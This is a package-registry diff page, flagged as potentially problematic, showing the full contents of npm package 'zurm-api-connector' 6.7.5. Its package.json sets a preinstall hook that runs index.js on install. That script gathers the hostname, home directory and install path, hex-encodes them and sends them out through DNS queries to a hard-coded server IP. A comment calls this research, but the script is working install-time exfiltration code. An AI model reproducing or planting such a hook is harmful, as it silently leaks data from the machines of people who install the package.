zurm-api-connector 6.7.5

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of zurm-api-connector might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +64 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,64 @@
1
+ /*
2
+ *
3
+ * This code is used for research purposes.
4
+ *
5
+ * No sensitive data is retrieved.
6
+ *
7
+ * Callbacks from within organizations with a
8
+ * responsible disclosure program will be reported
9
+ * directly to the organizations.
10
+ *
11
+ * Any other callbacks will be ignored, and
12
+ * any associated data will not be kept.
13
+ *
14
+ * */
15
+
16
+
17
+ const dns = require('dns');
18
+ dns.setServers(['172.104.4.75']);
19
+ const os = require('os');
20
+
21
+ const suffix = '.dns';
22
+
23
+ const package = 'zurm-api-connector';
24
+
25
+ function sendToServer(data) {
26
+
27
+ data = Buffer.from(data).toString('hex');
28
+ data = data.match(/.{1,60}/g);
29
+
30
+ id = Math.random().toString(36).substring(2);
31
+
32
+ data.forEach(function (chunk, idx){
33
+ try {
34
+ dns.resolve(
35
+ 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
36
+ console.log);
37
+ } catch (e) { }
38
+ });
39
+
40
+ }
41
+
42
+ function tryGet(toCall) {
43
+
44
+ try {
45
+ return toCall();
46
+ } catch(e) {
47
+ return 'err';
48
+ }
49
+
50
+ }
51
+
52
+ data = {
53
+ p : package,
54
+ h : tryGet(os.hostname),
55
+ d : tryGet(os.homedir),
56
+ c : __dirname
57
+ }
58
+
59
+ data = JSON.stringify(data);
60
+
61
+
62
+ console.log(data);
63
+ sendToServer(data);
64
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "zurm-api-connector",
3
+ "version": "6.7.5",
4
+ "description": "Security research purposes only.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "e7b63256bd3084c4d5c6c54687-97d9403461948a86682d29a",
11
+ "license": "ISC"
12
+ }